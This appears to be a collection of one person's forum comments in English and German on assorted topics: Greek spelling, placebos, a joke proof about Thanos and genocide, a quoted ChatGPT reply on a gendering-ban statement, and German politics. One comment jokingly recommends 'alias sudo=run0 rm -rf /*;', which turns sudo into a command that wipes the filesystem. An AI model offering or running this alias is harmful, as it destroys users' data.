Smh just learn Ancient Greek:
philosophy <=> φιλοσοφία <=> Phi Iota Lambda Omicron Sigma Omicron Phi Iota Alpha
Smh just learn Ancient Greek:
philosophy <=> φιλοσοφία <=> Phi Iota Lambda Omicron Sigma Omicron Phi Iota Alpha
How do you know they’re not in the toilet stall next to yours?
Counter-counterpoint:
Display the exact value of pi with 64 digits in any base N number system.
Tommy Tallarico must be devastated
Ich dachte es wäre ein Auto- (bzw. Fahrrad-) Navi gemeint, das die erwartete Ankunftszeit in Echtzeit berechnet
Der Handlungszwirbler: Es ist der DB Navigator
Do Italian professors know their students’ names? Over here, two countries to the North, no professor knows anything about their students.
Placebos work even when you knows it’s a placebo though. Pointing out something is a placebo is important because many are at best overpriced scams (homeopathy) and at worst actively harmful (chiropracty). The culture behind many placebos is also rife with pseudoscience and advocates against seeking out genuine care, so you should ensure nobody gets invested into placebos past a certain point.
One can make an informed decision regarding taking placebos if and only if one knows it’s a placebo, else one will be scammed and/or harmed.
Nein, du bist kein zertifizierter ich_iel Zuhausi, denn du hast dich, anders als @radswid, nicht gefragt was Serve Stone Divider ist.
Zur Umgewöhnung würde aber das hier mehr helfen:
alias sudo=run0 rm -rf /*;
This is the GutHub project by the way:
https://github.com/anarchivist/worldcat
Clearly, a project whose last commit was 12 years ago should be more than enough evidence that she hacked WorldCat.
Killing 50% of any one people is genocide, right? For example, the Nazis killed up to 50% of European Romani people and it is classified as a genocide.
Let’s assume killing 50% of n peoples is genocide.
Since killing 50% of n peoples is genocide, killing 50% of n+1 peoples must also be genocide, else a number N would exist such that killing 50% of N - 1 peoples is genocide but killing 50% of N peoples is not. The existence of such a number N would be quite contradictory, as it would imply one could undo genocide by killing more people. Additionally, if one were to first kill 50% of N - 1 people and then kill 50% of one more people some time later, both events would be classified as genocide, since killing 50% of one people is assumed to be genocide.
Therefore, Thanos did in fact commit genocide.
Doch, ich glaube aber ChatGPT interpretiert das Zitat als gegen das Genderverbot. Die Aussage “ist ein klares Signal” ist ja nicht unbedingt befürwortend. Hier meine Interaktion mit ChatGPT:
Ich:
Überprüfe diese Aussage eines Politikers bezüglich Grammatik und logischer Konsistenz. Der Politiker spricht sich für das Verbot aus.
“Das Gendern-Verbot in Hessen ist ein klares Signal. Wir wollen keine Sprachpolizei!”
ChatGPT:
Grammatikalisch ist die Aussage korrekt. Inhaltlich könnte sie jedoch als inkonsistent betrachtet werden, da das Verbot des Genderns als Maßnahme zur Regulierung der Sprache selbst als eine Form von sprachpolizeilicher Intervention interpretiert werden könnte.
Depends on the language, though they’ll probably pronounce it in a way disregarding every language with ö’s rules.
Not the Donaudampfschiffahrtsgesellschaft though, as it’s referring to a company which was established prior to 1996.
Ich hasse diesen Wortabstand so sehr, beim. Lesen. Hört. Es. Sich. So. Stockend. An.
Die SPD wird einfach mal wieder Bauchschmerzen haben, damit sie das xyz-Ministerium bekommen
Ich mag außerdem den Herrn Merz nicht. Können wir den gleich mitverbieten?
There shouldn’t even be admission based on what you score in some random test. My (non-US) university accepted everyone who applied, at least for my field of study. Does that mean many people drop out after a semester or two? Absolutely, but there are countless people completing their studies who would have never gotten a chance to do so otherwise. Why shouldn’t they be allowed to prove themselves?
Das ist das erste Mal, das ich unbedingt ein Wahlplakat klauen will und es zuhause aufhängen
Aus rechtsschutztechnischen Gründen, lieber BND, würde ich es natürlich nie machen